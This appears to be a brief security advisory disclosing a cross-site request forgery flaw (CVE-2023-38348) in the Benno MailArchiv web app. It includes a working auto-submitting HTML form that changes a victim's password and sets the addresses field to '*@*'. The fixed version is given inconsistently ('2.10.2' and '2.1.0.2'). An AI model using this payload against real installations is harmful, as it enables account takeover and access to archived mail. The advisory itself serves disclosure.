CVE-2023-38348: XSRF in Benno MailArchiv Web-App (benno-web < 2.10.2) (CVE-2023-38348)

August 9, 2023

The Benno MailArchiv Web-App (benno-web prior 2.1.0.2) is vulnerable to Cross-Site-Request-Forgery.

To exploit the vulnerability the attacker sends a link to a prepared page to a Benno MailArchiv user. The link then is able to trigger actions in the name of the user such as changing the users password (if the user is logged in).

<form action="https://benno.host/admin.php?CA=changePassword" method="post"> <input type="text" name="CA" value="savePassword"> <input type="password" class="input_text" name="data[password0]" value="test123"> <input type="password" class="input_text" name="data[password1]" value="test123"> <input type="password" class="input_text" name="data[addresses]" value=’[{"value":"*@*"}]'>

</form>

<script> document.forms[0].submit(); </script>